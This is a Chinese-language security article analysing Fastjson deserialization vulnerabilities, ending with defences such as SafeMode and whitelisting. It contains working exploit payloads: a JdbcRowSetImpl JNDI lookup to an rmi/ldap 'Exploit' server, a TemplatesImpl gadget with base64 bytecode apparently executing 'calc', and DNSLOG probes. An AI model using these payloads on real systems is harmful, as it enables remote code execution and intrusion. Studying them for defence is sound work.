Fastjson反序列化漏洞深入分析与利用

前言

Fastjson是阿里巴巴开发的一款高性能JSON解析库，广泛应用于Java项目中。本文将从漏洞利用角度出发，逆向分析Fastjson反序列化漏洞的原理、利用方式及防御措施。

基础概念

@type的作用

@type是Fastjson中一个关键特性，用于指定反序列化时的目标类：

// 普通序列化
String str1 = JSONObject.toJSONString(user); 
// 输出: {"age":18,"name":"summer"}

// 带类名的序列化
String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
// 输出: {"@type":"vul.fastjson.User","age":18,"name":"summer"}

当Fastjson反序列化带有@type的JSON时，会尝试实例化指定类的对象：

String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";
Object ob = JSON.parse(payload);
// 实际得到User类对象而非简单的JSONObject

漏洞利用分析

利用链构造

Fastjson反序列化漏洞的核心在于攻击者可以控制@type指定的类，并通过精心构造的JSON数据触发恶意行为。

JdbcRowSetImpl利用链

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";

关键点分析:

dataSourceName: 指定JNDI查找的资源地址
autoCommit: 设置为true时自动触发连接

等价代码:

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
jdbcRowSet.setAutoCommit(true); // 触发漏洞

TemplatesImpl利用链

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],
  "_name":"a.b",
  "_tfactory":{ },
  "_outputProperties":{ }
}

漏洞触发流程

JSON#parse()调用DefaultJSONParser#parse()
实例化DefaultJSONParser时创建JSONScanner解析输入
解析到@type字段时获取指定类名
进入反序列化阶段：
- deserializer#deserialze()
- parseRest()
- fieldDeser#setValue
- 通过反射调用setter方法
- 最终触发恶意代码

完整利用链:

JSON.parse()
  → DefaultJSONParser.parse()
    → DefaultJSONParser.parseObject()
      → JavaBeanDeserializer.deserialze()
        → JavaBeanDeserializer.parseRest()
          → FieldDeserializer.setValue()
            → Reflect.invoke()
              → JdbcRowSetImpl.setAutoCommit()

探测与验证技术

DNSLOG探测

不同Fastjson版本适用的DNSLOG探测方式：

// 1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\":\"http://dnslog.cn\"}:\"summer\"}";

// 全版本支持(fastjson <= 1.2.72)
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"dnslog.cn\"}";

防御措施

升级到最新安全版本

使用SafeMode禁止@type功能：

ParserConfig.getGlobalInstance().setSafeMode(true);

白名单控制可反序列化的类：

ParserConfig.getGlobalInstance().addAccept("com.yourpackage.");